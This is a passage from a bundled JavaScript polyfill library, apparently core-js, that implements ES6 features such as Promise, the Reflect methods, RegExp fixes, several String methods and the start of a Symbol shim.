if(test + '' != '[object z]'){
_dereq_(87)(Object.prototype, 'toString', function toString(){
return '[object ' + classof(this) + ']';
}, true);
}
},{"117":117,"17":17,"87":87}],197:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, $parseFloat = _dereq_(81);
// 18.2.4 parseFloat(string)
$export($export.G + $export.F * (parseFloat != $parseFloat), {parseFloat: $parseFloat});
},{"32":32,"81":81}],198:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, $parseInt = _dereq_(82);
// 18.2.5 parseInt(string, radix)
$export($export.G + $export.F * (parseInt != $parseInt), {parseInt: $parseInt});
},{"32":32,"82":82}],199:[function(_dereq_,module,exports){
'use strict';
var LIBRARY = _dereq_(58)
, global = _dereq_(38)
, ctx = _dereq_(25)
, classof = _dereq_(17)
, $export = _dereq_(32)
, isObject = _dereq_(49)
, anObject = _dereq_(7)
, aFunction = _dereq_(3)
, anInstance = _dereq_(6)
, forOf = _dereq_(37)
, setProto = _dereq_(90).set
, speciesConstructor = _dereq_(95)
, task = _dereq_(104).set
, microtask = _dereq_(64)()
, PROMISE = 'Promise'
, TypeError = global.TypeError
, process = global.process
, $Promise = global[PROMISE]
, process = global.process
, isNode = classof(process) == 'process'
, empty = function(){ /* empty */ }
, Internal, GenericPromiseCapability, Wrapper;
var USE_NATIVE = !!function(){
try {
// correct subclassing with @@species support
var promise = $Promise.resolve(1)
, FakePromise = (promise.constructor = {})[_dereq_(117)('species')] = function(exec){ exec(empty, empty); };
// unhandled rejections tracking support, NodeJS Promise without it fails @@species test
return (isNode || typeof PromiseRejectionEvent == 'function') && promise.then(empty) instanceof FakePromise;
} catch(e){ /* empty */ }
}();
// helpers
var sameConstructor = function(a, b){
// with library wrapper special case
return a === b || a === $Promise && b === Wrapper;
};
var isThenable = function(it){
var then;
return isObject(it) && typeof (then = it.then) == 'function' ? then : false;
};
var newPromiseCapability = function(C){
return sameConstructor($Promise, C)
? new PromiseCapability(C)
: new GenericPromiseCapability(C);
};
var PromiseCapability = GenericPromiseCapability = function(C){
var resolve, reject;
this.promise = new C(function($$resolve, $$reject){
if(resolve !== undefined || reject !== undefined)throw TypeError('Bad Promise constructor');
resolve = $$resolve;
reject = $$reject;
});
this.resolve = aFunction(resolve);
this.reject = aFunction(reject);
};
var perform = function(exec){
try {
exec();
} catch(e){
return {error: e};
}
};
var notify = function(promise, isReject){
if(promise._n)return;
promise._n = true;
var chain = promise._c;
microtask(function(){
var value = promise._v
, ok = promise._s == 1
, i = 0;
var run = function(reaction){
var handler = ok ? reaction.ok : reaction.fail
, resolve = reaction.resolve
, reject = reaction.reject
, domain = reaction.domain
, result, then;
try {
if(handler){
if(!ok){
if(promise._h == 2)onHandleUnhandled(promise);
promise._h = 1;
}
if(handler === true)result = value;
else {
if(domain)domain.enter();
result = handler(value);
if(domain)domain.exit();
}
if(result === reaction.promise){
reject(TypeError('Promise-chain cycle'));
} else if(then = isThenable(result)){
then.call(result, resolve, reject);
} else resolve(result);
} else reject(value);
} catch(e){
reject(e);
}
};
while(chain.length > i)run(chain[i++]); // variable length - can't use forEach
promise._c = [];
promise._n = false;
if(isReject && !promise._h)onUnhandled(promise);
});
};
var onUnhandled = function(promise){
task.call(global, function(){
var value = promise._v
, abrupt, handler, console;
if(isUnhandled(promise)){
abrupt = perform(function(){
if(isNode){
process.emit('unhandledRejection', value, promise);
} else if(handler = global.onunhandledrejection){
handler({promise: promise, reason: value});
} else if((console = global.console) && console.error){
console.error('Unhandled promise rejection', value);
}
});
// Browsers should not trigger `rejectionHandled` event if it was handled here, NodeJS - should
promise._h = isNode || isUnhandled(promise) ? 2 : 1;
} promise._a = undefined;
if(abrupt)throw abrupt.error;
});
};
var isUnhandled = function(promise){
if(promise._h == 1)return false;
var chain = promise._a || promise._c
, i = 0
, reaction;
while(chain.length > i){
reaction = chain[i++];
if(reaction.fail || !isUnhandled(reaction.promise))return false;
} return true;
};
var onHandleUnhandled = function(promise){
task.call(global, function(){
var handler;
if(isNode){
process.emit('rejectionHandled', promise);
} else if(handler = global.onrejectionhandled){
handler({promise: promise, reason: promise._v});
}
});
};
var $reject = function(value){
var promise = this;
if(promise._d)return;
promise._d = true;
promise = promise._w || promise; // unwrap
promise._v = value;
promise._s = 2;
if(!promise._a)promise._a = promise._c.slice();
notify(promise, true);
};
var $resolve = function(value){
var promise = this
, then;
if(promise._d)return;
promise._d = true;
promise = promise._w || promise; // unwrap
try {
if(promise === value)throw TypeError("Promise can't be resolved itself");
if(then = isThenable(value)){
microtask(function(){
var wrapper = {_w: promise, _d: false}; // wrap
try {
then.call(value, ctx($resolve, wrapper, 1), ctx($reject, wrapper, 1));
} catch(e){
$reject.call(wrapper, e);
}
});
} else {
promise._v = value;
promise._s = 1;
notify(promise, false);
}
} catch(e){
$reject.call({_w: promise, _d: false}, e); // wrap
}
};
// constructor polyfill
if(!USE_NATIVE){
// 25.4.3.1 Promise(executor)
$Promise = function Promise(executor){
anInstance(this, $Promise, PROMISE, '_h');
aFunction(executor);
Internal.call(this);
try {
executor(ctx($resolve, this, 1), ctx($reject, this, 1));
} catch(err){
$reject.call(this, err);
}
};
Internal = function Promise(executor){
this._c = []; // <- awaiting reactions
this._a = undefined; // <- checked in isUnhandled reactions
this._s = 0; // <- state
this._d = false; // <- done
this._v = undefined; // <- value
this._h = 0; // <- rejection state, 0 - default, 1 - handled, 2 - unhandled
this._n = false; // <- notify
};
Internal.prototype = _dereq_(86)($Promise.prototype, {
// 25.4.5.3 Promise.prototype.then(onFulfilled, onRejected)
then: function then(onFulfilled, onRejected){
var reaction = newPromiseCapability(speciesConstructor(this, $Promise));
reaction.ok = typeof onFulfilled == 'function' ? onFulfilled : true;
reaction.fail = typeof onRejected == 'function' && onRejected;
reaction.domain = isNode ? process.domain : undefined;
this._c.push(reaction);
if(this._a)this._a.push(reaction);
if(this._s)notify(this, false);
return reaction.promise;
},
// 25.4.5.1 Promise.prototype.catch(onRejected)
'catch': function(onRejected){
return this.then(undefined, onRejected);
}
});
PromiseCapability = function(){
var promise = new Internal;
this.promise = promise;
this.resolve = ctx($resolve, promise, 1);
this.reject = ctx($reject, promise, 1);
};
}
$export($export.G + $export.W + $export.F * !USE_NATIVE, {Promise: $Promise});
_dereq_(92)($Promise, PROMISE);
_dereq_(91)(PROMISE);
Wrapper = _dereq_(23)[PROMISE];
// statics
$export($export.S + $export.F * !USE_NATIVE, PROMISE, {
// 25.4.4.5 Promise.reject(r)
reject: function reject(r){
var capability = newPromiseCapability(this)
, $$reject = capability.reject;
$$reject(r);
return capability.promise;
}
});
$export($export.S + $export.F * (LIBRARY || !USE_NATIVE), PROMISE, {
// 25.4.4.6 Promise.resolve(x)
resolve: function resolve(x){
// instanceof instead of internal slot check because we should fix it without replacement native Promise core
if(x instanceof $Promise && sameConstructor(x.constructor, this))return x;
var capability = newPromiseCapability(this)
, $$resolve = capability.resolve;
$$resolve(x);
return capability.promise;
}
});
$export($export.S + $export.F * !(USE_NATIVE && _dereq_(54)(function(iter){
$Promise.all(iter)['catch'](empty);
})), PROMISE, {
// 25.4.4.1 Promise.all(iterable)
all: function all(iterable){
var C = this
, capability = newPromiseCapability(C)
, resolve = capability.resolve
, reject = capability.reject;
var abrupt = perform(function(){
var values = []
, index = 0
, remaining = 1;
forOf(iterable, false, function(promise){
var $index = index++
, alreadyCalled = false;
values.push(undefined);
remaining++;
C.resolve(promise).then(function(value){
if(alreadyCalled)return;
alreadyCalled = true;
values[$index] = value;
--remaining || resolve(values);
}, reject);
});
--remaining || resolve(values);
});
if(abrupt)reject(abrupt.error);
return capability.promise;
},
// 25.4.4.4 Promise.race(iterable)
race: function race(iterable){
var C = this
, capability = newPromiseCapability(C)
, reject = capability.reject;
var abrupt = perform(function(){
forOf(iterable, false, function(promise){
C.resolve(promise).then(capability.resolve, reject);
});
});
if(abrupt)reject(abrupt.error);
return capability.promise;
}
});
},{"104":104,"117":117,"17":17,"23":23,"25":25,"3":3,"32":32,"37":37,"38":38,"49":49,"54":54,"58":58,"6":6,"64":64,"7":7,"86":86,"90":90,"91":91,"92":92,"95":95}],200:[function(_dereq_,module,exports){
// 26.1.1 Reflect.apply(target, thisArgument, argumentsList)
var $export = _dereq_(32)
, aFunction = _dereq_(3)
, anObject = _dereq_(7)
, _apply = Function.apply;
$export($export.S, 'Reflect', {
apply: function apply(target, thisArgument, argumentsList){
return _apply.call(aFunction(target), thisArgument, anObject(argumentsList));
}
});
},{"3":3,"32":32,"7":7}],201:[function(_dereq_,module,exports){
// 26.1.2 Reflect.construct(target, argumentsList [, newTarget])
var $export = _dereq_(32)
, create = _dereq_(66)
, aFunction = _dereq_(3)
, anObject = _dereq_(7)
, isObject = _dereq_(49)
, bind = _dereq_(16);
// MS Edge supports only 2 arguments
// FF Nightly sets third argument as `new.target`, but does not create `this` from it
$export($export.S + $export.F * _dereq_(34)(function(){
function F(){}
return !(Reflect.construct(function(){}, [], F) instanceof F);
}), 'Reflect', {
construct: function construct(Target, args /*, newTarget*/){
aFunction(Target);
anObject(args);
var newTarget = arguments.length < 3 ? Target : aFunction(arguments[2]);
if(Target == newTarget){
// w/o altered newTarget, optimization for 0-4 arguments
switch(args.length){
case 0: return new Target;
case 1: return new Target(args[0]);
case 2: return new Target(args[0], args[1]);
case 3: return new Target(args[0], args[1], args[2]);
case 4: return new Target(args[0], args[1], args[2], args[3]);
}
// w/o altered newTarget, lot of arguments case
var $args = [null];
$args.push.apply($args, args);
return new (bind.apply(Target, $args));
}
// with altered newTarget, not support built-in constructors
var proto = newTarget.prototype
, instance = create(isObject(proto) ? proto : Object.prototype)
, result = Function.apply.call(Target, instance, args);
return isObject(result) ? result : instance;
}
});
},{"16":16,"3":3,"32":32,"34":34,"49":49,"66":66,"7":7}],202:[function(_dereq_,module,exports){
// 26.1.3 Reflect.defineProperty(target, propertyKey, attributes)
var dP = _dereq_(67)
, $export = _dereq_(32)
, anObject = _dereq_(7)
, toPrimitive = _dereq_(110);
// MS Edge has broken Reflect.defineProperty - throwing instead of returning false
$export($export.S + $export.F * _dereq_(34)(function(){
Reflect.defineProperty(dP.f({}, 1, {value: 1}), 1, {value: 2});
}), 'Reflect', {
defineProperty: function defineProperty(target, propertyKey, attributes){
anObject(target);
propertyKey = toPrimitive(propertyKey, true);
anObject(attributes);
try {
dP.f(target, propertyKey, attributes);
return true;
} catch(e){
return false;
}
}
});
},{"110":110,"32":32,"34":34,"67":67,"7":7}],203:[function(_dereq_,module,exports){
// 26.1.4 Reflect.deleteProperty(target, propertyKey)
var $export = _dereq_(32)
, gOPD = _dereq_(70).f
, anObject = _dereq_(7);
$export($export.S, 'Reflect', {
deleteProperty: function deleteProperty(target, propertyKey){
var desc = gOPD(anObject(target), propertyKey);
return desc && !desc.configurable ? false : delete target[propertyKey];
}
});
},{"32":32,"7":7,"70":70}],204:[function(_dereq_,module,exports){
'use strict';
// 26.1.5 Reflect.enumerate(target)
var $export = _dereq_(32)
, anObject = _dereq_(7);
var Enumerate = function(iterated){
this._t = anObject(iterated); // target
this._i = 0; // next index
var keys = this._k = [] // keys
, key;
for(key in iterated)keys.push(key);
};
_dereq_(52)(Enumerate, 'Object', function(){
var that = this
, keys = that._k
, key;
do {
if(that._i >= keys.length)return {value: undefined, done: true};
} while(!((key = keys[that._i++]) in that._t));
return {value: key, done: false};
});
$export($export.S, 'Reflect', {
enumerate: function enumerate(target){
return new Enumerate(target);
}
});
},{"32":32,"52":52,"7":7}],205:[function(_dereq_,module,exports){
// 26.1.7 Reflect.getOwnPropertyDescriptor(target, propertyKey)
var gOPD = _dereq_(70)
, $export = _dereq_(32)
, anObject = _dereq_(7);
$export($export.S, 'Reflect', {
getOwnPropertyDescriptor: function getOwnPropertyDescriptor(target, propertyKey){
return gOPD.f(anObject(target), propertyKey);
}
});
},{"32":32,"7":7,"70":70}],206:[function(_dereq_,module,exports){
// 26.1.8 Reflect.getPrototypeOf(target)
var $export = _dereq_(32)
, getProto = _dereq_(74)
, anObject = _dereq_(7);
$export($export.S, 'Reflect', {
getPrototypeOf: function getPrototypeOf(target){
return getProto(anObject(target));
}
});
},{"32":32,"7":7,"74":74}],207:[function(_dereq_,module,exports){
// 26.1.6 Reflect.get(target, propertyKey [, receiver])
var gOPD = _dereq_(70)
, getPrototypeOf = _dereq_(74)
, has = _dereq_(39)
, $export = _dereq_(32)
, isObject = _dereq_(49)
, anObject = _dereq_(7);
function get(target, propertyKey/*, receiver*/){
var receiver = arguments.length < 3 ? target : arguments[2]
, desc, proto;
if(anObject(target) === receiver)return target[propertyKey];
if(desc = gOPD.f(target, propertyKey))return has(desc, 'value')
? desc.value
: desc.get !== undefined
? desc.get.call(receiver)
: undefined;
if(isObject(proto = getPrototypeOf(target)))return get(proto, propertyKey, receiver);
}
$export($export.S, 'Reflect', {get: get});
},{"32":32,"39":39,"49":49,"7":7,"70":70,"74":74}],208:[function(_dereq_,module,exports){
// 26.1.9 Reflect.has(target, propertyKey)
var $export = _dereq_(32);
$export($export.S, 'Reflect', {
has: function has(target, propertyKey){
return propertyKey in target;
}
});
},{"32":32}],209:[function(_dereq_,module,exports){
// 26.1.10 Reflect.isExtensible(target)
var $export = _dereq_(32)
, anObject = _dereq_(7)
, $isExtensible = Object.isExtensible;
$export($export.S, 'Reflect', {
isExtensible: function isExtensible(target){
anObject(target);
return $isExtensible ? $isExtensible(target) : true;
}
});
},{"32":32,"7":7}],210:[function(_dereq_,module,exports){
// 26.1.11 Reflect.ownKeys(target)
var $export = _dereq_(32);
$export($export.S, 'Reflect', {ownKeys: _dereq_(80)});
},{"32":32,"80":80}],211:[function(_dereq_,module,exports){
// 26.1.12 Reflect.preventExtensions(target)
var $export = _dereq_(32)
, anObject = _dereq_(7)
, $preventExtensions = Object.preventExtensions;
$export($export.S, 'Reflect', {
preventExtensions: function preventExtensions(target){
anObject(target);
try {
if($preventExtensions)$preventExtensions(target);
return true;
} catch(e){
return false;
}
}
});
},{"32":32,"7":7}],212:[function(_dereq_,module,exports){
// 26.1.14 Reflect.setPrototypeOf(target, proto)
var $export = _dereq_(32)
, setProto = _dereq_(90);
if(setProto)$export($export.S, 'Reflect', {
setPrototypeOf: function setPrototypeOf(target, proto){
setProto.check(target, proto);
try {
setProto.set(target, proto);
return true;
} catch(e){
return false;
}
}
});
},{"32":32,"90":90}],213:[function(_dereq_,module,exports){
// 26.1.13 Reflect.set(target, propertyKey, V [, receiver])
var dP = _dereq_(67)
, gOPD = _dereq_(70)
, getPrototypeOf = _dereq_(74)
, has = _dereq_(39)
, $export = _dereq_(32)
, createDesc = _dereq_(85)
, anObject = _dereq_(7)
, isObject = _dereq_(49);
function set(target, propertyKey, V/*, receiver*/){
var receiver = arguments.length < 4 ? target : arguments[3]
, ownDesc = gOPD.f(anObject(target), propertyKey)
, existingDescriptor, proto;
if(!ownDesc){
if(isObject(proto = getPrototypeOf(target))){
return set(proto, propertyKey, V, receiver);
}
ownDesc = createDesc(0);
}
if(has(ownDesc, 'value')){
if(ownDesc.writable === false || !isObject(receiver))return false;
existingDescriptor = gOPD.f(receiver, propertyKey) || createDesc(0);
existingDescriptor.value = V;
dP.f(receiver, propertyKey, existingDescriptor);
return true;
}
return ownDesc.set === undefined ? false : (ownDesc.set.call(receiver, V), true);
}
$export($export.S, 'Reflect', {set: set});
},{"32":32,"39":39,"49":49,"67":67,"7":7,"70":70,"74":74,"85":85}],214:[function(_dereq_,module,exports){
var global = _dereq_(38)
, inheritIfRequired = _dereq_(43)
, dP = _dereq_(67).f
, gOPN = _dereq_(72).f
, isRegExp = _dereq_(50)
, $flags = _dereq_(36)
, $RegExp = global.RegExp
, Base = $RegExp
, proto = $RegExp.prototype
, re1 = /a/g
, re2 = /a/g
// "new" creates a new object, old webkit buggy here
, CORRECT_NEW = new $RegExp(re1) !== re1;
if(_dereq_(28) && (!CORRECT_NEW || _dereq_(34)(function(){
re2[_dereq_(117)('match')] = false;
// RegExp constructor can alter flags and IsRegExp works correct with @@match
return $RegExp(re1) != re1 || $RegExp(re2) == re2 || $RegExp(re1, 'i') != '/a/i';
}))){
$RegExp = function RegExp(p, f){
var tiRE = this instanceof $RegExp
, piRE = isRegExp(p)
, fiU = f === undefined;
return !tiRE && piRE && p.constructor === $RegExp && fiU ? p
: inheritIfRequired(CORRECT_NEW
? new Base(piRE && !fiU ? p.source : p, f)
: Base((piRE = p instanceof $RegExp) ? p.source : p, piRE && fiU ? $flags.call(p) : f)
, tiRE ? this : proto, $RegExp);
};
var proxy = function(key){
key in $RegExp || dP($RegExp, key, {
configurable: true,
get: function(){ return Base[key]; },
set: function(it){ Base[key] = it; }
});
};
for(var keys = gOPN(Base), i = 0; keys.length > i; )proxy(keys[i++]);
proto.constructor = $RegExp;
$RegExp.prototype = proto;
_dereq_(87)(global, 'RegExp', $RegExp);
}
_dereq_(91)('RegExp');
},{"117":117,"28":28,"34":34,"36":36,"38":38,"43":43,"50":50,"67":67,"72":72,"87":87,"91":91}],215:[function(_dereq_,module,exports){
// 21.2.5.3 get RegExp.prototype.flags()
if(_dereq_(28) && /./g.flags != 'g')_dereq_(67).f(RegExp.prototype, 'flags', {
configurable: true,
get: _dereq_(36)
});
},{"28":28,"36":36,"67":67}],216:[function(_dereq_,module,exports){
// @@match logic
_dereq_(35)('match', 1, function(defined, MATCH, $match){
// 21.1.3.11 String.prototype.match(regexp)
return [function match(regexp){
'use strict';
var O = defined(this)
, fn = regexp == undefined ? undefined : regexp[MATCH];
return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[MATCH](String(O));
}, $match];
});
},{"35":35}],217:[function(_dereq_,module,exports){
// @@replace logic
_dereq_(35)('replace', 2, function(defined, REPLACE, $replace){
// 21.1.3.14 String.prototype.replace(searchValue, replaceValue)
return [function replace(searchValue, replaceValue){
'use strict';
var O = defined(this)
, fn = searchValue == undefined ? undefined : searchValue[REPLACE];
return fn !== undefined
? fn.call(searchValue, O, replaceValue)
: $replace.call(String(O), searchValue, replaceValue);
}, $replace];
});
},{"35":35}],218:[function(_dereq_,module,exports){
// @@search logic
_dereq_(35)('search', 1, function(defined, SEARCH, $search){
// 21.1.3.15 String.prototype.search(regexp)
return [function search(regexp){
'use strict';
var O = defined(this)
, fn = regexp == undefined ? undefined : regexp[SEARCH];
return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[SEARCH](String(O));
}, $search];
});
},{"35":35}],219:[function(_dereq_,module,exports){
// @@split logic
_dereq_(35)('split', 2, function(defined, SPLIT, $split){
'use strict';
var isRegExp = _dereq_(50)
, _split = $split
, $push = [].push
, $SPLIT = 'split'
, LENGTH = 'length'
, LAST_INDEX = 'lastIndex';
if(
'abbc'[$SPLIT](/(b)*/)[1] == 'c' ||
'test'[$SPLIT](/(?:)/, -1)[LENGTH] != 4 ||
'ab'[$SPLIT](/(?:ab)*/)[LENGTH] != 2 ||
'.'[$SPLIT](/(.?)(.?)/)[LENGTH] != 4 ||
'.'[$SPLIT](/()()/)[LENGTH] > 1 ||
''[$SPLIT](/.?/)[LENGTH]
){
var NPCG = /()??/.exec('')[1] === undefined; // nonparticipating capturing group
// based on es5-shim implementation, need to rework it
$split = function(separator, limit){
var string = String(this);
if(separator === undefined && limit === 0)return [];
// If `separator` is not a regex, use native split
if(!isRegExp(separator))return _split.call(string, separator, limit);
var output = [];
var flags = (separator.ignoreCase ? 'i' : '') +
(separator.multiline ? 'm' : '') +
(separator.unicode ? 'u' : '') +
(separator.sticky ? 'y' : '');
var lastLastIndex = 0;
var splitLimit = limit === undefined ? 4294967295 : limit >>> 0;
// Make `global` and avoid `lastIndex` issues by working with a copy
var separatorCopy = new RegExp(separator.source, flags + 'g');
var separator2, match, lastIndex, lastLength, i;
// Doesn't need flags gy, but they don't hurt
if(!NPCG)separator2 = new RegExp('^' + separatorCopy.source + '$(?!\\s)', flags);
while(match = separatorCopy.exec(string)){
// `separatorCopy.lastIndex` is not reliable cross-browser
lastIndex = match.index + match[0][LENGTH];
if(lastIndex > lastLastIndex){
output.push(string.slice(lastLastIndex, match.index));
// Fix browsers whose `exec` methods don't consistently return `undefined` for NPCG
if(!NPCG && match[LENGTH] > 1)match[0].replace(separator2, function(){
for(i = 1; i < arguments[LENGTH] - 2; i++)if(arguments[i] === undefined)match[i] = undefined;
});
if(match[LENGTH] > 1 && match.index < string[LENGTH])$push.apply(output, match.slice(1));
lastLength = match[0][LENGTH];
lastLastIndex = lastIndex;
if(output[LENGTH] >= splitLimit)break;
}
if(separatorCopy[LAST_INDEX] === match.index)separatorCopy[LAST_INDEX]++; // Avoid an infinite loop
}
if(lastLastIndex === string[LENGTH]){
if(lastLength || !separatorCopy.test(''))output.push('');
} else output.push(string.slice(lastLastIndex));
return output[LENGTH] > splitLimit ? output.slice(0, splitLimit) : output;
};
// Chakra, V8
} else if('0'[$SPLIT](undefined, 0)[LENGTH]){
$split = function(separator, limit){
return separator === undefined && limit === 0 ? [] : _split.call(this, separator, limit);
};
}
// 21.1.3.17 String.prototype.split(separator, limit)
return [function split(separator, limit){
var O = defined(this)
, fn = separator == undefined ? undefined : separator[SPLIT];
return fn !== undefined ? fn.call(separator, O, limit) : $split.call(String(O), separator, limit);
}, $split];
});
},{"35":35,"50":50}],220:[function(_dereq_,module,exports){
'use strict';
_dereq_(215);
var anObject = _dereq_(7)
, $flags = _dereq_(36)
, DESCRIPTORS = _dereq_(28)
, TO_STRING = 'toString'
, $toString = /./[TO_STRING];
var define = function(fn){
_dereq_(87)(RegExp.prototype, TO_STRING, fn, true);
};
// 21.2.5.14 RegExp.prototype.toString()
if(_dereq_(34)(function(){ return $toString.call({source: 'a', flags: 'b'}) != '/a/b'; })){
define(function toString(){
var R = anObject(this);
return '/'.concat(R.source, '/',
'flags' in R ? R.flags : !DESCRIPTORS && R instanceof RegExp ? $flags.call(R) : undefined);
});
// FF44- RegExp#toString has a wrong name
} else if($toString.name != TO_STRING){
define(function toString(){
return $toString.call(this);
});
}
},{"215":215,"28":28,"34":34,"36":36,"7":7,"87":87}],221:[function(_dereq_,module,exports){
'use strict';
var strong = _dereq_(19);
// 23.2 Set Objects
module.exports = _dereq_(22)('Set', function(get){
return function Set(){ return get(this, arguments.length > 0 ? arguments[0] : undefined); };
}, {
// 23.2.3.1 Set.prototype.add(value)
add: function add(value){
return strong.def(this, value = value === 0 ? 0 : value, value);
}
}, strong);
},{"19":19,"22":22}],222:[function(_dereq_,module,exports){
'use strict';
// B.2.3.2 String.prototype.anchor(name)
_dereq_(99)('anchor', function(createHTML){
return function anchor(name){
return createHTML(this, 'a', 'name', name);
}
});
},{"99":99}],223:[function(_dereq_,module,exports){
'use strict';
// B.2.3.3 String.prototype.big()
_dereq_(99)('big', function(createHTML){
return function big(){
return createHTML(this, 'big', '', '');
}
});
},{"99":99}],224:[function(_dereq_,module,exports){
'use strict';
// B.2.3.4 String.prototype.blink()
_dereq_(99)('blink', function(createHTML){
return function blink(){
return createHTML(this, 'blink', '', '');
}
});
},{"99":99}],225:[function(_dereq_,module,exports){
'use strict';
// B.2.3.5 String.prototype.bold()
_dereq_(99)('bold', function(createHTML){
return function bold(){
return createHTML(this, 'b', '', '');
}
});
},{"99":99}],226:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $at = _dereq_(97)(false);
$export($export.P, 'String', {
// 21.1.3.3 String.prototype.codePointAt(pos)
codePointAt: function codePointAt(pos){
return $at(this, pos);
}
});
},{"32":32,"97":97}],227:[function(_dereq_,module,exports){
// 21.1.3.6 String.prototype.endsWith(searchString [, endPosition])
'use strict';
var $export = _dereq_(32)
, toLength = _dereq_(108)
, context = _dereq_(98)
, ENDS_WITH = 'endsWith'
, $endsWith = ''[ENDS_WITH];
$export($export.P + $export.F * _dereq_(33)(ENDS_WITH), 'String', {
endsWith: function endsWith(searchString /*, endPosition = @length */){
var that = context(this, searchString, ENDS_WITH)
, endPosition = arguments.length > 1 ? arguments[1] : undefined
, len = toLength(that.length)
, end = endPosition === undefined ? len : Math.min(toLength(endPosition), len)
, search = String(searchString);
return $endsWith
? $endsWith.call(that, search, end)
: that.slice(end - search.length, end) === search;
}
});
},{"108":108,"32":32,"33":33,"98":98}],228:[function(_dereq_,module,exports){
'use strict';
// B.2.3.6 String.prototype.fixed()
_dereq_(99)('fixed', function(createHTML){
return function fixed(){
return createHTML(this, 'tt', '', '');
}
});
},{"99":99}],229:[function(_dereq_,module,exports){
'use strict';
// B.2.3.7 String.prototype.fontcolor(color)
_dereq_(99)('fontcolor', function(createHTML){
return function fontcolor(color){
return createHTML(this, 'font', 'color', color);
}
});
},{"99":99}],230:[function(_dereq_,module,exports){
'use strict';
// B.2.3.8 String.prototype.fontsize(size)
_dereq_(99)('fontsize', function(createHTML){
return function fontsize(size){
return createHTML(this, 'font', 'size', size);
}
});
},{"99":99}],231:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, toIndex = _dereq_(105)
, fromCharCode = String.fromCharCode
, $fromCodePoint = String.fromCodePoint;
// length should be 1, old FF problem
$export($export.S + $export.F * (!!$fromCodePoint && $fromCodePoint.length != 1), 'String', {
// 21.1.2.2 String.fromCodePoint(...codePoints)
fromCodePoint: function fromCodePoint(x){ // eslint-disable-line no-unused-vars
var res = []
, aLen = arguments.length
, i = 0
, code;
while(aLen > i){
code = +arguments[i++];
if(toIndex(code, 0x10ffff) !== code)throw RangeError(code + ' is not a valid code point');
res.push(code < 0x10000
? fromCharCode(code)
: fromCharCode(((code -= 0x10000) >> 10) + 0xd800, code % 0x400 + 0xdc00)
);
} return res.join('');
}
});
},{"105":105,"32":32}],232:[function(_dereq_,module,exports){
// 21.1.3.7 String.prototype.includes(searchString, position = 0)
'use strict';
var $export = _dereq_(32)
, context = _dereq_(98)
, INCLUDES = 'includes';
$export($export.P + $export.F * _dereq_(33)(INCLUDES), 'String', {
includes: function includes(searchString /*, position = 0 */){
return !!~context(this, searchString, INCLUDES)
.indexOf(searchString, arguments.length > 1 ? arguments[1] : undefined);
}
});
},{"32":32,"33":33,"98":98}],233:[function(_dereq_,module,exports){
'use strict';
// B.2.3.9 String.prototype.italics()
_dereq_(99)('italics', function(createHTML){
return function italics(){
return createHTML(this, 'i', '', '');
}
});
},{"99":99}],234:[function(_dereq_,module,exports){
'use strict';
var $at = _dereq_(97)(true);
// 21.1.3.27 String.prototype[@@iterator]()
_dereq_(53)(String, 'String', function(iterated){
this._t = String(iterated); // target
this._i = 0; // next index
// 21.1.5.2.1 %StringIteratorPrototype%.next()
}, function(){
var O = this._t
, index = this._i
, point;
if(index >= O.length)return {value: undefined, done: true};
point = $at(O, index);
this._i += point.length;
return {value: point, done: false};
});
},{"53":53,"97":97}],235:[function(_dereq_,module,exports){
'use strict';
// B.2.3.10 String.prototype.link(url)
_dereq_(99)('link', function(createHTML){
return function link(url){
return createHTML(this, 'a', 'href', url);
}
});
},{"99":99}],236:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, toIObject = _dereq_(107)
, toLength = _dereq_(108);
$export($export.S, 'String', {
// 21.1.2.4 String.raw(callSite, ...substitutions)
raw: function raw(callSite){
var tpl = toIObject(callSite.raw)
, len = toLength(tpl.length)
, aLen = arguments.length
, res = []
, i = 0;
while(len > i){
res.push(String(tpl[i++]));
if(i < aLen)res.push(String(arguments[i]));
} return res.join('');
}
});
},{"107":107,"108":108,"32":32}],237:[function(_dereq_,module,exports){
var $export = _dereq_(32);
$export($export.P, 'String', {
// 21.1.3.13 String.prototype.repeat(count)
repeat: _dereq_(101)
});
},{"101":101,"32":32}],238:[function(_dereq_,module,exports){
'use strict';
// B.2.3.11 String.prototype.small()
_dereq_(99)('small', function(createHTML){
return function small(){
return createHTML(this, 'small', '', '');
}
});
},{"99":99}],239:[function(_dereq_,module,exports){
// 21.1.3.18 String.prototype.startsWith(searchString [, position ])
'use strict';
var $export = _dereq_(32)
, toLength = _dereq_(108)
, context = _dereq_(98)
, STARTS_WITH = 'startsWith'
, $startsWith = ''[STARTS_WITH];
$export($export.P + $export.F * _dereq_(33)(STARTS_WITH), 'String', {
startsWith: function startsWith(searchString /*, position = 0 */){
var that = context(this, searchString, STARTS_WITH)
, index = toLength(Math.min(arguments.length > 1 ? arguments[1] : undefined, that.length))
, search = String(searchString);
return $startsWith
? $startsWith.call(that, search, index)
: that.slice(index, index + search.length) === search;
}
});
},{"108":108,"32":32,"33":33,"98":98}],240:[function(_dereq_,module,exports){
'use strict';
// B.2.3.12 String.prototype.strike()
_dereq_(99)('strike', function(createHTML){
return function strike(){
return createHTML(this, 'strike', '', '');
}
});
},{"99":99}],241:[function(_dereq_,module,exports){
'use strict';
// B.2.3.13 String.prototype.sub()
_dereq_(99)('sub', function(createHTML){
return function sub(){
return createHTML(this, 'sub', '', '');
}
});
},{"99":99}],242:[function(_dereq_,module,exports){
'use strict';
// B.2.3.14 String.prototype.sup()
_dereq_(99)('sup', function(createHTML){
return function sup(){
return createHTML(this, 'sup', '', '');
}
});
},{"99":99}],243:[function(_dereq_,module,exports){
'use strict';
// 21.1.3.25 String.prototype.trim()
_dereq_(102)('trim', function($trim){
return function trim(){
return $trim(this, 3);
};
});
},{"102":102}],244:[function(_dereq_,module,exports){
'use strict';
// ECMAScript 6 symbols shim
var global = _dereq_(38)
, has = _dereq_(39)
, DESCRIPTORS = _dereq_(28)
, $export = _dereq_(32)
, redefine = _dereq_(87)
, META = _dereq_(62).KEY
, $fails = _dereq_(34)
, shared = _dereq_(94)
, setToStringTag = _dereq_(92)
, uid = _dereq_(114)
, wks = _dereq_(117)
, wksExt = _dereq_(116)
, wksDefine = _dereq_(115)
, keyOf = _dereq_(57)
, enumKeys = _dereq_(31)
, isArray = _dereq_(47)
, anObject = _dereq_(7)
, toIObject = _dereq_(107)
